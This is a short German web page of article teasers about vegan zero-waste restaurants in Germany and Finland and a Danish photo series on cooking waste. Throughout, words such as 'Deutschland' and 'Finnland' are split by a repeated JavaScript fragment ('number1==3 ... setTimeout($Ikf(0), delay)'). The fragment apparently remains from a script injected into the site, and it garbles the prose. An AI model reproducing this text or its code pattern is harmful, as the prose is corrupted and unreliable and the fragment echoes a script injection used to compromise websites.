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„Komplett abfallfrei ist utopisch“ – Zu Besuch in Deutschlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands erstem veganen Zero-Waste-Restaurant

Zero Waste heißt das Stichwort der Stunde. Seit März diesen Jahres hat Deutschlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands erstes veganes Zero-Waste-Restaurant geöffnet. Wir waren dort und haben uns mit Besitzer David unterhalten.

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„Wieso hat es noch niemandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and vor uns so gemacht?“ – Interview mit dem Chefkoch von Finnlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands erstem Zero-Waste-Restaurant

Vergangenes Jahr eröffnete Finnlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands erstes abfallfreies Restaurant. Vor welche Herausforderungen das die Gründer stellte und was ihnen andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andere bereits nachmachen? Wir haben Mitgründer Albert Franch Sunyer gefragt.

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Diese Fotos zeigen, wie viel Müll wir beim Kochen erzeugen

Wie viel Verpackungsmüll kostet eigentlich unser Lieblingsessen? Das dänische Designstudio Sweet Sneak Studio ist dieser Frage fotografisch nachgegangen.

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